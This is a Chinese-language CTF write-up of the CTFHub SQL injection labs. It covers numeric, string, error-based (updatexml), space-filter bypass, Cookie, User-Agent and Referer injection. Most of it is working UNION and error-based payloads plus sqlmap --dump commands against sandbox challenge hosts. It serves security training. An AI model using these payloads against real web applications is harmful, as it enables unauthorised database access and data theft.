前言
sql注入用到的一些相关函数
函数 | 描述 |
---|---|
table_schema | 数据库名 |
table_name | 表名 |
column_name | 列名 |
information_schema.schemata | 包含所有数据库的名 |
information_schema.tables | 包含所有库的表名 |
information_schema.columns | 包含所有表的字段 |
group_concat()函数功能 | 将group by产生的同一个分组中的值连接起来,返回一个字符串结果。 |
整数型注入
输入1
1.判断注入类型
1' 报错
1 and 1=1 返回正确
1 and 1=2 返回错误
如果满足以上三条,则可以判断该URL存在数字型注入。
2.判断字段数
1 order by 1 回显正常
1 order by 2 回显正常
1 order by 3 返回错误
所以字段数为2
3 .联合查询
1 and 1=2 union select 1,2 回显正常
-1 union select 1,2 回显正常
-1 union select 1,2,3 返回错误
回显点位是1和2
4.爆数据库名
Payload: ?id=-1 union select 1,database()
当前数据库名为sqli
5.爆表名
Payload: ?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
有两个表,一个是news,另外一个是flag
6.爆字段名
Payload: ?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'
字段名为flag
7.爆值
Payload1: ?id=-1 union select 1,group_concat(flag) from flag
Payload2: ?id=-1 union select 1,flag from flag
字符型注入
输入1,发现sql语句数字中我们输入的1被单引号包裹,字符型注入跟数字型注入的区别就在于引号的闭合
1.判断注入
1' 返回错误
1' and '1'='1 正常回显
1' and '1'='2 返回错误
1' and 1=1 返回错误,需加注释符号
1' and 1=1# 正常回显
1' and 1=2# 返回错误
可以判断为字符型注入
2.判断字段数
1' order by 1 # 回显正常
1' order by 2 # 回显正常
1' order by 3 # 返回错误
所以字段数为2
3.联合查询
1' and 1=2 union select 1,2# 回显正常
-1' union select 1,2# 回显正常
-1' union select 1,2,3# 返回错误
回显点位是2和3
3.爆数据库名,得到数据库名sqli
Payload: ?id=-1' union select 1,database()#
4.爆表名,得到两个表名 news,flag
Payload: ?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#
5.爆字段名,字段名flag
Payload: ?id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'#
6.爆值
Payload: ?id=-1' union select 1,group_concat(flag) from flag#
报错注入
百度了一下报错注入,报错注入是我们通过反馈出来的错误来获取到我们所需要的信息,发现一共有十种报错注入,最常用到的三种报错注入方式分别是:updatexml()
、floor()
、extractvalue()
。
太菜了,看了下大师傅们的wp,发现这道题就是利用updatexml()
函数进行报错注入
UPDATEXML (XML_document, XPath_string, new_value);
参数 | 描述 |
---|---|
XML_document | XML_document是String格式,为XML文档对象的名称,文中为Doc |
XPath_string | XPath_string (Xpath格式的字符串) ,xpath报错只显示32位结果 |
new_value | new_value,String格式,替换查找到的符合条件的数据 |
updatexml的报错原理:
updatexml第二个参数需要的是Xpath格式的字符串,但是我们第二个参数很明显不是,而是我们想要获得的数据,所以会报错,并且在报错的时候会将其内容显示出来,从而获得我们想要的数据。
使用updatexml报错注入固定格式:
payload:?id=a'and(updatexml("anything",concat('~',(select语句())),"anything"))
concat()
函数将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出想要的数据
Payload: ?id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
爆库名,查到数据库名为sqli
Payload: ?id=1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1));
爆字段,一个news,一个flag
Payload: ?id=1 and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e),1));
爆字段名,字段名为flag
Payload: ?id=1 and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e),1));
爆值
Payload: ?id=1 and (updatexml(1,concat(0x7e,(select group_concat(flag) from flag),0x7e),1));
好像只有一部分flag,这个时候就用到了mid()
函数
使用mid函数来进行字符截取,来显示另外一半flag。
Payload: ?id=1 and (updatexml(1,concat(0x7e,mid((select group_concat(flag) from flag),32),0x7e),1));
MySQL结构
1.判断注入类型
输入1,有回显;输入1 and 1=1,正常回显;输入1 and 1=2, 返回错误。
所以是数字型注入
2.判断回显点位
输入1 order by 2
有回显
输入
-1 union select 1,2
回显点位为1,2
3.查数据库名
-1 union select database(),2
数据库名为sqli
4.查表
-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='sqli'
有news和nrjduumafr表
5.查字段名
-1 union select group_concat(column_name),2 from information_schema.columns where table_name='nrjduumafr'
字段名为qejxezuixk
6.爆值
-1 union select qejxezuixk,2 from nrjduumafr
过滤空格
输入1,回显ctfhub;输入2,回显skill;输入3,无回显。
绕过空格过滤的方式: /**/、()、%0a
。
用%0a代替空格输入
1/**/order/**/by/**/2
有回显
判断回显位
Payload: ?id=-1/**/union/**/select/**/1,2
查数据库:
Payload: ?id=-1/**/union/**/select/**/database(),2
数据库为sqli
查表 :
Payload: ?id= -1/**/union/**/select/**/group_concat(table_name),2/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'
sqli中有两个表,分别为 rrkdctjwlf和news
查字段:
Payload: ?id=-1/**/union/**/select/**/group_concat(column_name),2/**/from/**/information_schema.columns/**/where/**/table_name='rrkdctjwlf'
rrkdctjwlf表中,有一个字段wonevkchnv
查看字段的数据:
Payload: ?id= -1/**/union/**/select/**/wonevkchnv,2/**/from/**/rrkdctjwlf
Cookie注入
burpsuite抓包,可以看到Cookie里面有id参数
1.判断注入类型
id=1 and 1=1
有回显
id=1 and 1=2
无回显
所以是数字型注入
2.判断字段数
当id=1 order by 2
时回显正常,当id=1 order by 3
时无回显,所以字段数为2
3.爆数据库名
id=1 and 1=2 union select 1,database()
当前数据库名为sqli
4.爆表名
id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
有两个表,usrnjffgta和news
5.爆字段名
id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='usrnjffgta'
字段名为wbloxpuwcu
6.爆值
id=1 and 1=2 union select 1,group_concat(wbloxpuwcu) from usrnjffgta
sqlmap–Cookie注入
在sqlmap中使用cookie注入,level >=2才行
首先检测是否有cookie注入
sqlmap -u "http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080" --cookie "id=1" --level 2
存在Cookie注入
使用kali里面的sqlmap工具
1.查库
sqlmap -u "http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080" --cookie "id=1" --level 2 --dbs
2.查表
sqlmap -u "http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080" --cookie "id=1" -D sqli --tables
3.查字段
sqlmap -u "http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080" --cookie "id=1" --level 2 -D sqli -T usrnjffgta --columns
4.爆值
sqlmap -u "http://challenge-141d20bd8f71c3ca.sandbox.ctfhub.com:10080" --cookie "id=1" --level 2 -D sqli -T usrnjffgta -C wbloxpuwcu --dump
UA注入
提示输入点在User-Agent,使用bp抓包
1.判断注入类型
输入1,有回显;输入1 and 1=1,正常回显;输入1 and 1=2, 返回错误。
注入类型为数字型注入
2.判断字段数
当1 order by 2
时,回显正常,当1 order by 3
时,无回显,所以字段数为2
3.爆数据库名
1 and 1=2 union select 1,database()
当前数据库名为sqli
4.爆表名
1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
有两个表, news,llvyiyrndd
5.爆字段名
1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='llvyiyrndd'
字段名为mgrbaiuvpa
6.爆值
1 and 1=2 union select 1,group_concat(mgrbaiuvpa) from llvyiyrndd
sqlmap–UA注入
在sqlmap中lever>=3才会去检查user-agent头是否存在注入漏洞
首先检测是否有UA注入
sqlmap -u "http://challenge-532573947dea4d7b.sandbox.ctfhub.com:10080" --user-agent "id=1" --level 3
sqlmap -u "http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080" --user-agent "id=1" --level 3
user-agent处存在注入
1.爆数据库
sqlmap -u "http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080" --user-agent "id=1" --level 3 --dbs
2.爆表
sqlmap -u "http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080" --user-agent "id=1" --level 3 -D sqli --tables
3.爆字段
sqlmap -u "http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080" --user-agent "id=1" --level 3 -D sqli -T llvyiyrndd --columns
4.爆值
sqlmap -u "http://challenge-ee766d810401f708.sandbox.ctfhub.com:10080" --user-agent "id=1" --level 3 -D sqli -T llvyiyrndd -C mgrbaiuvpa --dump
Refer注入
提示请在referer输入ID,bp抓包
补充Referer头
1.爆数据库名
1 and 1=2 union select 1,database()
当前数据库名为sqli
2.爆表名
1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
有两个表, news,scghlrqxyi
3.爆字段名
1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='scghlrqxyi'
字段名为vzbmlruwwt
4.爆值
1 and 1=2 union select 1,group_concat(vzbmlruwwt) from scghlrqxyi
sqlmap–Refer注入
伪造http请求中的referer,level>=3时,sqlmap尝试referer注入
首先检测是否有Refer注入
sqlmap -u "http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/" --referer "id=1" --level 3
Referer头存在注入
1.爆数据库
sqlmap -u "http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/" --referer "id=1" --level 3 --dbs
2.爆表
sqlmap -u "http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/" --referer "id=1" --level 3 -D sqli --tables
3.爆字段
sqlmap -u "http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/" --referer "id=1" --level 3 -D sqli -T scghlrqxyi --columns
4.爆值
sqlmap -u "http://challenge-c221df8b5041fd8a.sandbox.ctfhub.com:10080/" --referer "id=1" --level 3 -D sqli -T scghlrqxyi -C vzbmlruwwt --dump